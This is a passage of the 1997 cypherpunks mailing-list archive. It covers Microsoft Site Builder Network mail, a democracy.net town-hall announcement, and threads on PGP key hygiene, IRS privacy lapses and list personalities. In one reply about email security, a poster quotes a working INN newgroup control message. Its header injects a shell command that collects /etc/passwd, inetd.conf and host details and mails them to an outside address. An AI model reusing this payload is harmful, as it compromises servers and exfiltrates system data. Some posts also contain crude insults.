Do you think you qualify for Level 2?  Would you like to?  The reason
your Level 2 registration failed could be one of the following reasons:

You are not using an ActiveX control.
======================================
To find out more about ActiveX, go to our home page at
http://www.microsoft.com/sitebuilder/ and click 'Technologies' at the
top of the page.  Choose 'ActiveX' and you will find all kinds of
ActiveX resources.  Or, download the ActiveX Control Pad from the
download area and add an ActiveX control to your site without a vast
knowledge of html code!  After you have added an ActiveX control and you
are ready to upgrade your membership to Level 2, go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
exact URL where the ActiveX control is located as well as the exact URL
the IE logo is located, and we will check your site again.  In the
meantime, enjoy your Level 1 benefits and we will notify you of your
Level 2 status within 5 days.

You did not register the exact URL
where the ActiveX control is located.
======================================
Our automated system can only check pages, not entire sites.  Please go
back to http://www.microsoft.com/sbnmember/apply/apply.asp , click
'upgrade your membership' then enter your ID and password (which is
listed below).  This will bring up your registration information.  Be
sure to list the exact URL where the ActiveX control is located as well
as the exact URL the IE logo is located, and we will check your site
again.  In the meantime, enjoy your Level 1 benefits and we will notify
you of your Level 2 status within 5 days.

Once again - welcome to Level 1, and enjoy your Site Builder Network
benefits.

The Microsoft Site Builder Network Team

========================================
ID: 643361
Password: WRITECODE
========================================

   Sites Checked:
      www.enter.net.mx
         Result: Connected OK / Link to MS Found / No ActiveX Control
Found




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 10 Apr 1997 21:54:42 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
Message-ID: <199704110455.VAA03670@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote:

> "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> <doesn't matter what, 3 times>
> 
> That's $3 for Sinn F\'ein.  Thank you, Phil.
> 
> P.S. Fuck your Queen.

Free Rule for Ireland!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 10 Apr 1997 18:53:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EVENT!  Rep. Anna Eshoo (D-CA) holds online town hall meeting April 16!
Message-ID: <199704110153.VAA04158@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         "Government Without Walls"
_________________________________________________________________________
Update No.5              http://www.democracy.net/           April 10 1997
_________________________________________________________________________
Table of Contents

 - Join Silicon Valley Internet Policy Leader Anna Eshoo (D-CA) Live April 16.
 - Background on Rep. Eshoo
 - democracy.net statistics
 - About democracy.net
___________________________________________________________________________
JOIN SILICON VALLEY INTERNET POLICY LEADER ANNA ESHOO (D-CA) Live ONLINE!

Representative Anna Eshoo (D-CA), walks point for Silicon Valley on
Internet policy issues.  Her career has been marked by outspoken
positive positions on Internet policy, but also for her groundbreaking
work of making the Internet a tool for servicing her constituents
better.

Rep. Eshoo will hold a live online interactive 'town hall meeting'
at democracy.net on Wednesday April 16 at 8:30 pm Eastern (5:30 pm Pacific).

The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
completely virtual.  The discussion will be cybercast live via RealAudio,
and listeners can join a simultaneous interactive chat discussion and pose
questions to Rep. Eshoo.

This is a unique opportunity for Internet users to discuss current Internet
issues, including how Congress can better communicate with the public
using the Internet, the chances for online speech legislation in the 105th
Congress, Congress' agenda for encryption policy reform, and others.

Details on the event, including instructions on how you can submit questions
in advance, are attached below.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

         * Interactive Town Hall Meeting with Rep. Anna Eshoo (D-CA) *

 DATE:      Wednesday, April 16, 1997
 TIME:      5:30 pm Pacific / 8:30 pm Eastern
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. Eshoo a question.  We will collect the
questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. Eshoo a question!

   Please mark this date in your calendar: Thursday April 16, 5:30PM Pacific
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

3. Make sure you have the right software

   To participate in the chat, you will need two pieces of software besides
   a Web browser.  To listen to the 

_____________________________________________________________________________
BACKGROUND

  "We need to send a clear, unscrambled message to Washington that our
   nation's encryption policy needs to be reformed, and reformed now."
               -- Rep. Anna Eshoo (D-CA), SAFE Forum, July 1, 1996


Given the 14th District's concentration of high-tech industries, it is
not surprising that Rep. Eshoo serves on the House Committee on
Commerce. Her subcommittee assignments on this committee include the
Subcommittee on Telecommunications, Trade, and Consumer Protection, as
well as the Subcommittee on Health and the Environment.  The Commerce
Committee has policy making  power over high technology, biotechnology,
public health, and the environment.

Through her seat on the Commerce Committee, Rep. Eshoo is well positioned
to assist high technology interests in her district. She fought hard to
ensure that securities litigation reform and telecommunications reform
were signed into law. Rep. Eshoo has introduced the Online Parental
Control Act to fight government censorship and encourage parents to use
technology to control their children's access to online materials. She
has led the fight to improve the Food and Drug Administration's product
review process and played an instrumental role in securing the $238
million B Factory for the Stanford Linear Accelerator Center.

In addition, Rep. Eshoo has pushed to loosen costly export controls on
high technology products, make NASA contractors more liable for the
costs of failing to comply with their contract requirements, and
prevent government laboratories from competing with private industry.
She also played a key role in stopping the Financial Accounting
Standards Board from adopting a rule requiring businesses to charge
stock options against earnings, a move which could have seriously
curtailed the growth of small firms and start-up businesses,
particularly in the high technology industry.

Additional Information can be found at the following locations:

* Rep. Anna Eshoo's Home Page   --   http://www-eshoo.house.gov/
* democracy.net Page            --   http://www.democracy.net/

_______________________________________________________________________________
DEMOCRACY.NET STATISTICS

In the two weeks following the original Pro-CODE cybercast hearing,
over eight times as many people (804) listened to the RealAudio archive
than could have fit into the room at the hearing itself!

The hearing transcript continues to be extremely popular, with the
testimony of Jim Barksdale (CEO, Netscape) and  Louis Freeh (Director,
FBI) counting as the two most popular hearing witnesses to listen to.
Over a quarter of our visitors to the hearing archives stop to listen
to Barksdale and Freeh's takes on the encryption debate.

Whether you're a concerned citizen who can't get to Washington, a
student researching the topic of privacy, or a reporter just following
the debate, these archives are here for you.  You can experience
Government Without Walls at the March 19th hearing cybercast archive at
http://www.democracy.net/.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/

_____________________________________________________________________________
End update no.5                                                    04/10/1997
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 10 Apr 1997 20:10:12 -0700 (PDT)
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: Assassination Politics
In-Reply-To: <199704100627.CAA10692@dhp.com>
Message-ID: <199704110300.WAA01732@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


lucifer Anonymous Remailer wrote:
> 
> Toto's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 

Isn't Toto a product of canadian educational system?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:00:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: KC post per Alec
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <334DB831.2D2A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, whose sense of humor indicates he may not,
after all, be a government Bot, wrote:

> On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote:
> [...]
> > By the way, I'm staying out of this latest tamper-responding device
> > argument. I worked on this at Intel, actually. But I wrote a bunch of
> > fairly long articles on this the 5th, or maybe it was the 7th?, time this
> > came up, circa 1993. Those who refuse to learn from the threads of the past
> > are condemned to repeat them.
> 
> Let's see, to which would I rather be condemned:  participating in a
> lively, current discussion; or digging through musty outdated archives?

  I regularly cruise back through my archives of the CypherPunks list
from as far back as the early 90's and I rarely find them outdated.
And rather than being pretentious, I usually find them 'portentious'.

> Yes, we could continually mine the archives for words of wisdom from
> past participants, and thus pay them homage -- especially since it is
> so painfully obvious that is what they crave.  But we should forgive
> them this weakness, for at some lonely age we all start wondering
> about our legacy.

  There is, however, a far cry of difference between those to whom
homage is due, and those to whom it is not.
  As much as I may have railed against the fascist censorship of the
'moderation experiment' badly instituted by John Gilmore, I am not
ungrateful for the years of time and effort that he spent in hosting
the CypherPunks list, and stated so in a post to the list before it
moved on to new homes.

  Not knowing Tim May personally, I cannot comment on the description
of him in the press as 'crusty' (not knowing if it refers to his
personality or his sexual hygene), but I can see how a review of some
of his recent posts might suggest that he would not be out of place in
a remake of 'Grumpy Old Men'.
  However, his propensity for taking an attitude of 'been there, done
that' (and spanking young pups on the list) in no way negates the fact
that he 'has', in fact, been there and done that, and that his (somewhat
vague) pointers to sources of information in regard to various list
issues might prove valuable to those who have enough interest in the
issue to want to indulge in a little research on the matter.

  While the discussions of those currently active on the list may be
enlightening, there are certainly other CypherPunks (some active, some
inactive) who have dealt with current issues in the past, and done so
from a perspective and knowledge base that are equal or superior to 
those who are participating in current discussions.
  While Tim is certainly an icon on the list, I haven't seen any signs
of senility seeping in, just yet.
{From: "Timothy C. May" <tcmay@got.net>
 Subject: Has anybody seen my shoes? I lost my shoes! }
  (OK, maybe a couple of signs..:)

  While I sometimes feel that the list would be better served by more
of the long-time members being a little more specific in their aide
to more inexperienced members seeking information, there is no doubt
that much of the input they do provide is useful enough to point those
seeking a better knowledge of crypto and crypto issues in directions
which can bear much fruit if the individual is sincere enough to 
follow their pointers.

  Tim's legacy is already written in CypherStone, regardless of what
he may or may not do in the future, as is that of Gilmore and Hughes.
  Despite whatever battles you or I may engage them in, in the future,
we will be telling our grandchilren, "Hey, I <spit on>/<farted at>/
<kissed> him." when the movie 'Grouchy Old CypherPunks' hits the
big screen.

-- 
Toto
"One TruthMonger down, four to go"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:12:24 -0700 (PDT)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Assassination Politics
In-Reply-To: <199704110300.WAA01732@manifold.algebra.com>
Message-ID: <334DB97A.71E7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> lucifer Anonymous Remailer wrote:
> > Toto's abysmal grammar, atrocious spelling and
> > feeble responses clearly identify him as a product of the
> > American education system.
> 
> Isn't Toto a product of canadian educational system?

  Eh?, b, c, d, e, f, g...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 21:17:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Grouchy Old Cypherpunks
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <334DBBF8.3B44@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, whose sense of humor indicates he may not,
after all, be a government Bot, wrote:

> On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote:
> [...]
> > By the way, I'm staying out of this latest tamper-responding device
> > argument. I worked on this at Intel, actually. But I wrote a bunch of
> > fairly long articles on this the 5th, or maybe it was the 7th?, time this
> > came up, circa 1993. Those who refuse to learn from the threads of the past
> > are condemned to repeat them.
>
> Let's see, to which would I rather be condemned:  participating in a
> lively, current discussion; or digging through musty outdated archives?

  I regularly cruise back through my archives of the CypherPunks list
from as far back as the early 90's and I rarely find them outdated.
And rather than being pretentious, I usually find them 'portentious'.

> Yes, we could continually mine the archives for words of wisdom from
> past participants, and thus pay them homage -- especially since it is
> so painfully obvious that is what they crave.  But we should forgive
> them this weakness, for at some lonely age we all start wondering
> about our legacy.

  There is, however, a far cry of difference between those to whom
homage is due, and those to whom it is not.
  As much as I may have railed against the fascist censorship of the
'moderation experiment' badly instituted by John Gilmore, I am not
ungrateful for the years of time and effort that he spent in hosting
the CypherPunks list, and stated so in a post to the list before it
moved on to new homes.

  Not knowing Tim May personally, I cannot comment on the description
of him in the press as 'crusty' (not knowing if it refers to his
personality or his sexual hygene), but I can see how a review of some
of his recent posts might suggest that he would not be out of place in
a remake of 'Grumpy Old Men'.
  However, his propensity for taking an attitude of 'been there, done
that' (and spanking young pups on the list) in no way negates the fact
that he 'has', in fact, been there and done that, and that his (somewhat
vague) pointers to sources of information in regard to various list
issues might prove valuable to those who have enough interest in the
issue to want to indulge in a little research on the matter.

  While the discussions of those currently active on the list may be
enlightening, there are certainly other CypherPunks (some active, some
inactive) who have dealt with current issues in the past, and done so
from a perspective and knowledge base that are equal or superior to
those who are participating in current discussions.
  While Tim is certainly an icon on the list, I haven't seen any signs
of senility seeping in, just yet.
{From: "Timothy C. May" <tcmay@got.net>
 Subject: Has anybody seen my shoes? I lost my shoes! }
  (OK, maybe a couple of signs..:)

  While I sometimes feel that the list would be better served by more
of the long-time members being a little more specific in their aide
to more inexperienced members seeking information, there is no doubt
that much of the input they do provide is useful enough to point those
seeking a better knowledge of crypto and crypto issues in directions
which can bear much fruit if the individual is sincere enough to
follow their pointers.

  Tim's legacy is already written in CypherStone, regardless of what
he may or may not do in the future, as is that of Gilmore and Hughes.
  Despite whatever battles you or I may engage them in, in the future,
we will be telling our grandchilren, "Hey, I <spit on>/<farted at>/
<kissed> him." when the movie 'Grouchy Old CypherPunks' hits the
big screen.

--
Toto
"One TruthMonger down, four to go"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 10 Apr 1997 19:30:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: store your private ke
Message-ID: <TCPSMTP.17.4.10.-10.24.30.2780269260.1600958@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:bryce@digicash.com to Harka <=-

 In> The non-cpunks that I talk to frequently say that "no bad guys
 In> would bother to read my e-mail".  This is a pretty good assumption,
 In> because it takes into account (as the cpunks themselves frequently
 In> fail to do) that there is a _cost_ to illicitly reading e-mail, and
 In> that as long as the value of reading your private e-mail is less than
 In> the cost of reading it, you can consider yourself safe.

Another point, that most PGP-"uninitiated" (challenged? :)) people
fail to realize is the non-individual-based approach to e-mail
snooping. Commonly people think, that first they have to be
specifically targeted by a "bad guy".
But in the times of Echelon and generic key-word-based filtering of
_all_ e-mails, that go through certain points (Satellite-Links
etc.), nobody has to be specifically targeted anymore, because
_everybody's_ e-mail is potentially read.
All other things you mentioned are of course valid too besides that.

Ciao

Harka

... Microsoft - "Where do you want to crash today?"
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM02gpjltEBIEF0MBAQFy4wf/QIx7s1iRBDIW7VXYFWN6T5xlO2stm7QI
+Cl8dz7ZL24nMazVUA+I0GqJjpjEOY7bK5oZwbELTaaD6g6unjoZLb6n5/fiXeaN
Dd7LdJ989oqmUxO2fm6F/81OqPIGHQl5UwqOj0hII4AndaIwMJB/kSENXXJXXupI
7G/HWWddSnCzeuTfAzYBUeo1cpAgsBP7zTqyQsVUtoGVhgwbRsdUBX1kqcR7cEsv
SX+TZZJZAs9AxTlIoQBuP4hb5/aEZnahb8myomKVY9XbMLBRdFzw6YlF2u/hHyit
OqMzn12QVKkflxbMQWj3qCLARuT2wKEg6TeHUFAReSgIV1YSNV2Xsw==
=Au+6
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 10 Apr 1997 22:30:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Microsoft Site Gestapo
Message-ID: <199704110530.WAA01009@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:53 PM 4/10/97 -0700, you wrote:
>Welcome to Site Builder Network - Level 1.
>
>We went to your site(s) and found the Microsoft Internet Explorer logo
>and link, so your membership has been upgraded to Level 1.  You now have
>access to the Members Only - Level 1 Lounge as well as the Members Only
>Download Area.  Please take some time to visit
>http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in
>store for you.  Your ID and password are listed below for your
>convenience.
>
>Do you think you qualify for Level 2?  Would you like to?  The reason
>your Level 2 registration failed could be one of the following reasons:
>
>You are not using an ActiveX control.
>======================================
>To find out more about ActiveX, go to our home page at


Fuck you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 22:27:18 -0700 (PDT)
To: bryce@digicash.com
Subject: Re: store your private key on a multi-user system!  use pubkeys without verifying them!
In-Reply-To: <199704101223.OAA27778@digicash.com>
Message-ID: <334DCC65.3409@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bryce wrote:
> 
> The non-cpunks that I talk to frequently say that "no bad guys
> would bother to read my e-mail". 
> as long as the value of reading your private e-mail is less than
> the cost of reading it, you can consider yourself safe.

  Bad, bad assumption.
 
> So my points are as follows:

> 2.  To the cpunks:  the _value_ of invading your privacy is not that
> high.  There are no evil storm troopers whose full time job is to run
> a man-in-the-middle attack on your PGP public key, or dedicate a
> cracking farm to decrypting your messages, or using TEMPEST devices
> on your home computer or whatever.  Therefore, simply encrypting your
> personal e-mail with a 512-bit PGP key, storing your private key on
> your local multi-user Unix system, and using people's public keys
> _without_ doing anti-Man-In-The-Middle techniques is more than
> sufficient to protect your privacy.

   Horseshit. Send me all of the email and files from the hard 
drives of the NSA, CIA, FBI, and the organizations we don't know
about, for the last 20 years, and then we'll talk about what
evil storm troopers do, or do not, exist.
  Then we can begin to talk about what really trips up most
fugitives/criminals/freedom-fighters--the mundane.

   J.Edgar Hoover didn't rise from the grave to entrap the
UnaBomber with high-tech devices and an army of spooks. His
own family turned him in.
  Four guys broke into a Vancouver bank a few years ago, spent
the weekend cracking the vault and safety deposit boxes, and 
made a clean getaway, except one of their suitcases broke open
on the trip out of town, spilling the goodies for everyone to
see. They sat in jail until Monday morning, when the banks 
opened, and the cops could figure out who they robbed.

> Now, if you use your e-mail to transmit really _valuable_ data, then
> that is a different story.

  I submit that everyone has _really_valuable_data_, no matter
what value others put on it.
  I would guess that there are no shortage of people who would
rather have their company's data compromised, than have their
spouse find their secret love-letters.
  The key is to be as meticulous as possible in your security
precautions, because those things you have little knowledge of
or control over may well be more dangerous to you than those
that you don't.

  Case in point.
  I spent twenty years of my life making sure that I had extra
'butts' on me at all times, so that I would not have to face
my greatest fear--going to jail without a suffiecient supply
of nicotine.
  The one time I slipped up was when I was on 'safe' ground,
in my hometown, crossing a border I had crossed every day for
the last few weeks with no trouble. Then I got hauled in for
a 'bad check' that was a result of a clerical error. I actually
had the cancelled check in my motorhome, but the facts didn't
matter--I was headed for the slam with almost no butts.
  An understanding Sheriff's deputy with a couple extra packs
probably saved me from the death penalty for killing cops to
escape and go get more butts.

  When you decide that you've got nothing to worry about, because
the 'bad guys' aren't after you, then the 'good guys' will get you.
  Your wife will hire a teenage hacker to look for the secret love
letters that don't exist, and turn up unrelated info that the kid 
will use to get a sweetheart deal when the Feds break down 'his'
door. Your employer's audit of the books will point to you being
a thief, and in the process of proving you innocent, will turn up
evidence of your office affair, giving your spouse grounds for
divorce.

  The people who get fucked aren't the people who 'deserved' it. They
aren't the people who 'took crazy chances'. They aren't the people who
'had the most to hide'.
  They are the people who got fucked.

  The bottom line is, if you have something to hide, then hide 
it, and hide it well.
  You can be faster than a speeding bullet and leap tall buildings
in a single bound, but somewhere out there is a bum going through
a dumpster, and he just found a funny, glowing, green rock.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 10 Apr 1997 23:30:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A mini rant on IRS and Social Security
In-Reply-To: <v03007801af72da159829@[207.167.93.63]>
Message-ID: <334DDA8C.1940@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> Many of you in the United States have probably seen the reports on how the
> Social Security Administration has pulled their Web site, citing security
> problems.
> 
> I'm not naive. I knew that anything I reported to the IRS, or that my
> employers reported, was accessible to those with access (Q.E.D.). I just am
> surprised that  my earnings for the past 28 years are "online," available
> to anyone with the few bits of entropy needed to get past the minimal
> security.
> 
> This ought to be recounted far and wide. Remind your siblings, friends, and
> others about this situation. Point out to them that when a society becomes
> dominated by "accounts," instead of old-fashioned cash payments, then he
> who controls the keys controls everything.

IRS Continues Personal Privacy and Security Breeches 
        (From the NYTimes, April 9, 1997) 

        The IRS admitted that it has not stemmed the improper browsing
of
        taxpayer records by nosy agents. 1,515 such cases have become
known
        in the last two years. A study of the EARL (Electronic Audit
Research
        Log) software program indicates that, "some employees, when
        encountered, indicated they browsed because they do not believe
it is
        wrong and that there will be little consequence to them if they
are
        caught." About 51,000 IRS employees have access to taxpayer
records
        through the Integrated Data Retrieval System. 

        Senator John Glenn, (D-OH) agrees, as recent court rulings have
        decided that these invasions of privacy are not illegal as long
as the
        information is not given to others; as though determining that
was at all
        possible. Senator Glenn is attempting to levy heavy fines and
        imprisonment for violators. The GAO has also determined,
according to
        their recent report on these abuses, that 6,400 tapes and
cartridges
        which "might" contain taxpayer information are also missing. 

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 10 Apr 1997 22:44:28 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: store your private key on a multi-user system!  use pubkeys without verifying them!
In-Reply-To: <334DCC65.3409@sk.sympatico.ca>
Message-ID: <199704110543.AAA05165@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Toto wrote:
> Bryce wrote:
> > The non-cpunks that I talk to frequently say that "no bad guys
> > would bother to read my e-mail". 
> > as long as the value of reading your private e-mail is less than
> > the cost of reading it, you can consider yourself safe.
> 
>   Bad, bad assumption.
>  
> > So my points are as follows:
> 
> > 2.  To the cpunks:  the _value_ of invading your privacy is not that
> > high.  There are no evil storm troopers whose full time job is to run
> > a man-in-the-middle attack on your PGP public key, or dedicate a
> > cracking farm to decrypting your messages, or using TEMPEST devices
> > on your home computer or whatever.  Therefore, simply encrypting your
> > personal e-mail with a 512-bit PGP key, storing your private key on
> > your local multi-user Unix system, and using people's public keys
> > _without_ doing anti-Man-In-The-Middle techniques is more than
> > sufficient to protect your privacy.

The main mistake in the argument that you cited is the following:
it assumes that you know the cost of hacking and reading one's email
or files.

You do NOT know it. Moreover, while it is usually easy to find the upper
bound for that cost, the lower bound is not so obvious. Recall the 
latest attack on INN servers, when one trivial message (see below) could
be used to compromise thousands of internet sites, at the negligible
cost.

It is only safe to assume that the cost of breaking into a Unix system
(or any other server for that matter) is ZERO.

Unix security on multiuser machines is an oxymoron, it does not exist
and should never be assumed.

The problems with people actually securing their communications and
personal data are as follows:

1) It is costly to set up a more or less secure system (ie, a system
that is not a server and that is somewhat protected from various data
attacks) because of learning curve and other costs

2) Many if not most correspondents are so clueless they's never even 
understand what they need to do to secure their communications.

I had to drop several conversations with people because they were 
stupid/lazy enough not to set up PGP.

	- Igor.

Subject:      cmsg newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
From:         tale@uunet.uu.net (David C Lawrence)
Date:         1997/03/17
Message-Id:   <5gkdv8$5uc@tabloid.amoco.com>
Control:      newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated
Organization: Amoco
Newsgroups:   comp.sys.mac.printing
[Fewer Headers]

#+
 (/bin/id; /bin/uname -a; /bin/who; /bin/cat /etc/passwd; /bin/cat /etc/inetd.conf) | /usr/ucb/Mail -s info tafeyereisen@amoco.com
#-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 11 Apr 1997 01:00:50 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: KC post per Alec
In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com>
Message-ID: <19970411005754.59935@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, Apr 10, 1997 at 10:04:01PM -0600, Toto wrote:

[a piece on Tim May]

Toto, thanks for your thoughtful comments.  Your touching defense of 
Tim is interesting.

Contrary to what you might think, I really don't have anything against
Tim May, and I do go read things he (or others) have written in the
past.  But I am getting to the crusty old fart stage myself...

As to his legacy, and the legacy of cypherpunks in general, that
remains to be seen.  None of the cypherpunks are in a position to be
able to judge very well, because they are so close to their favorite
issues that of course they look very large.  But it isn't a certainty
that any of the predictions of crypto-anarchy, for example, will come
to pass.  It is possible that the surveillance state will win.  More
likely, of course, the world will go in a direction that will surprise
all of us (except that Tim will tell us he considered the possibility
in a paper he wrote back in the 1970s).  What will look portentious and 
what will look pretentious 10 years from now is hard to judge...

Personally, I am in favor of absolute personal privacy, but I don't
define that to include economic dealings -- as far as I am concerned,
business or economic privacy is at a lower level of concern than
personal privacy.  This puts me at odds with the prevailing
libertarian bent of cypherpunks, of course.  However, I was thrown off
my stride by the high level of downright hostility so common on this
list.  Like most people, I tend to respond in kind.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Fri, 11 Apr 1997 14:30:08 -0700 (PDT)
To: Bill Stewart <markm@voicenet.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00015C5B@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



See http://www.Microsoft.com/security/

under "Credit Card Security Concerns and Microsoft's Response"

for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?

Art Grapa
agrapa@banamex.com

 ----------
From: Mark M.
To: ARTURO GRAPA YSUNZA; Bill Stewart
Cc: cypherpunks@toad.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Saturday, March 29, 1997 1:11AM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Mark M.
Para:  ARTURO GRAPA YSUNZA
     Bill Stewart
Cc:  cypherpunks@toad.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-03-29 01:11
Prioridad: 3
Ident. del mensaje: 83A07AD005A0D011AF8C006097838CEB

 -----------------------------------------------------------------------
----- --

 -----BEGIN PGP SIGNED MESSAGE-----

On Fri, 28 Mar 1997, Bill Stewart wrote:

> http://www.zdnet.com:80/intweek/daily/970327x.html
> has an article about an SSL problem that affects both Netscape
> and MicrosoftIE browsers, leaking "secure" data such as
> credit card numbers from web pages with GET-based SSL forms on it.
> It was discovered by Dan Klein.
>
> There isn't specific detail about how the flaw works,
> but it says that it affects GET forms but not POST.
> Commentary from NS, MS, Gene Spafford, and Steve Bellovin.
>
>    "It's like you've gone to the restaurant with your lover," Klein said.

>    "The restaurant is there, it's private, yet when you leave the
restaurant
>    you have the menu in your hand and there's food all over your shirt."

I would guess that this means that Netscape and Explorer send the
complete
URL of the page that linked to another site in the "HTTP-REFERER" header
in
the clear when SSL is used.  The only temporary solution is to use a
local
web
proxy that removes this header, or, as the article suggests, manually
type
in
an URL that is linked from a page using SSL.  I can't think of too many
situations where one might follow a link to another site immediately
after
sending sensitive information, but the contents of the "HTTP-REFERER"
header
are often logged, and the log is often world-readable...

>
>
>
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Darren Daniels <darren@aone.com>
